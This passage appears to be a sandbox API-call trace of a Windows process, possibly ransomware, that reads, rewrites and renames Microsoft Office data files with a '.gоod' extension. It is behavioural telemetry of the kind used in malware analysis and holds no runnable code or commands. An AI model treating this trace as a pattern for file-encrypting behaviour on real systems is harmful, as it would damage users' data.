lpOverlapped=0x0) returned 1 [0179.788] CloseHandle (hObject=0x808) returned 1 [0179.788] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x53 [0180.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0180.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\publishermui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0180.921] GetFileType (hFile=0x7c8) returned 0x1 [0180.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0180.921] GetFileType (hFile=0x7c8) returned 0x1 [0180.921] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x294b [0180.921] WriteFile (in: hFile=0x7c8, lpBuffer=0x34ca3a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x34ca3a8*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0181.310] CloseHandle (hObject=0x7c8) returned 1 [0181.310] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x53 [0181.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0181.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\publishermui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0181.310] GetFileType (hFile=0x7c8) returned 0x1 [0181.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0181.311] GetFileType (hFile=0x7c8) returned 0x1 [0181.311] ReadFile (in: hFile=0x7c8, lpBuffer=0x354e578, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x354e578*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0181.339] CloseHandle (hObject=0x7c8) returned 1 [0181.339] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x53 [0181.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0181.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\publishermui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0181.339] GetFileType (hFile=0x7c8) returned 0x1 [0181.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0181.340] GetFileType (hFile=0x7c8) returned 0x1 [0181.340] WriteFile (in: hFile=0x7c8, lpBuffer=0x354d288*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x354d288*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0181.340] CloseHandle (hObject=0x7c8) returned 1 [0181.340] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x53 [0181.340] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.boot.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.boot.tree.dat.gоod", lpFilePart=0x0) returned 0x58 [0181.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0181.340] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\publishermui.msi.16.en-us.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x684bd58e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x295b)) returned 1 [0181.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0181.340] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\publishermui.msi.16.en-us.boot.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.boot.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\publishermui.msi.16.en-us.boot.tree.dat.gоod")) returned 1 [0181.341] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4e [0181.341] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0181.341] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\publishermui.msi.16.en-us.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x35cc1b0 | out: lpFileInformation=0x35cc1b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd099e45b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd099e45b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0b8e391, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b0f)) returned 1 [0181.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0181.342] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4e [0181.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0181.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\publishermui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0181.342] GetFileType (hFile=0x7c8) returned 0x1 [0181.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0181.342] GetFileType (hFile=0x7c8) returned 0x1 [0181.342] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0181.342] ReadFile (in: hFile=0x7c8, lpBuffer=0x35cc638, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x35cc638*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0181.345] CloseHandle (hObject=0x7c8) returned 1 [0181.345] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4e [0181.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0181.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\publishermui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0181.345] GetFileType (hFile=0x7c8) returned 0x1 [0181.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0181.345] GetFileType (hFile=0x7c8) returned 0x1 [0181.345] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x2b0f [0181.345] WriteFile (in: hFile=0x7c8, lpBuffer=0x35cd908*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x35cd908*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0181.537] CloseHandle (hObject=0x7c8) returned 1 [0181.550] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4e [0181.550] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0181.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\publishermui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0181.576] GetFileType (hFile=0x7c8) returned 0x1 [0181.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0181.576] GetFileType (hFile=0x7c8) returned 0x1 [0181.576] ReadFile (in: hFile=0x7c8, lpBuffer=0x3504070, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x3504070*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0181.616] CloseHandle (hObject=0x7c8) returned 1 [0181.616] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4e [0181.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0181.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\publishermui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0181.617] GetFileType (hFile=0x7c8) returned 0x1 [0181.617] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0181.617] GetFileType (hFile=0x7c8) returned 0x1 [0181.617] WriteFile (in: hFile=0x7c8, lpBuffer=0x34ff870*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x34ff870*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0181.617] CloseHandle (hObject=0x7c8) returned 1 [0181.617] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4e [0181.617] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.tree.dat.gоod", lpFilePart=0x0) returned 0x53 [0181.617] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0181.617] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\publishermui.msi.16.en-us.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd099e45b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd099e45b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6876bcd2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2b1f)) returned 1 [0181.617] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0181.618] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\publishermui.msi.16.en-us.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\publishermui.msi.16.en-us.tree.dat.gоod")) returned 1 [0181.619] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x54 [0181.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0181.619] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\visio.x-none.msi.16.x-none.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x35804f8 | out: lpFileInformation=0x35804f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xbf317c17, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xbf317c17, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xbf33deae, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x387c3)) returned 1 [0181.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0181.620] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x54 [0181.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0181.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\visio.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0181.620] GetFileType (hFile=0x7c8) returned 0x1 [0181.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0181.620] GetFileType (hFile=0x7c8) returned 0x1 [0181.620] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0181.620] ReadFile (in: hFile=0x7c8, lpBuffer=0x35809c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x35809c0*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0181.943] CloseHandle (hObject=0x7c8) returned 1 [0181.944] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x54 [0181.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0181.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\visio.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0181.949] GetFileType (hFile=0x7c8) returned 0x1 [0181.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0181.949] GetFileType (hFile=0x7c8) returned 0x1 [0181.949] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x387c3 [0181.966] WriteFile (in: hFile=0x7c8, lpBuffer=0x35d6278*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x35d6278*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0181.967] CloseHandle (hObject=0x7c8) returned 1 [0181.967] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x54 [0181.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0181.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\visio.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0181.967] GetFileType (hFile=0x7c8) returned 0x1 [0181.967] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0181.967] GetFileType (hFile=0x7c8) returned 0x1 [0181.968] ReadFile (in: hFile=0x7c8, lpBuffer=0x35d95a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x35d95a8*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0181.995] CloseHandle (hObject=0x7c8) returned 1 [0181.995] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x54 [0181.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0181.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\visio.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0181.995] GetFileType (hFile=0x7c8) returned 0x1 [0181.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0181.995] GetFileType (hFile=0x7c8) returned 0x1 [0181.995] WriteFile (in: hFile=0x7c8, lpBuffer=0x35d82a8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x35d82a8*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0181.996] CloseHandle (hObject=0x7c8) returned 1 [0181.996] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x54 [0181.996] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.boot.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.boot.tree.dat.gоod", lpFilePart=0x0) returned 0x59 [0181.996] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0181.996] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\visio.x-none.msi.16.x-none.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xbf317c17, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xbf317c17, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x68aff68a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x387d3)) returned 1 [0181.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0181.996] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\visio.x-none.msi.16.x-none.boot.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.boot.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\visio.x-none.msi.16.x-none.boot.tree.dat.gоod")) returned 1 [0181.999] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4f [0181.999] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0181.999] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\visio.x-none.msi.16.x-none.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x3657ab8 | out: lpFileInformation=0x3657ab8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x147a8a2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x147a8a2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x147a8a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x62499)) returned 1 [0181.999] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0181.999] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4f [0181.999] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0182.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\visio.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0182.000] GetFileType (hFile=0x7c8) returned 0x1 [0182.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0182.000] GetFileType (hFile=0x7c8) returned 0x1 [0182.000] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0182.000] ReadFile (in: hFile=0x7c8, lpBuffer=0x3657f40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3657f40*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0182.200] CloseHandle (hObject=0x7c8) 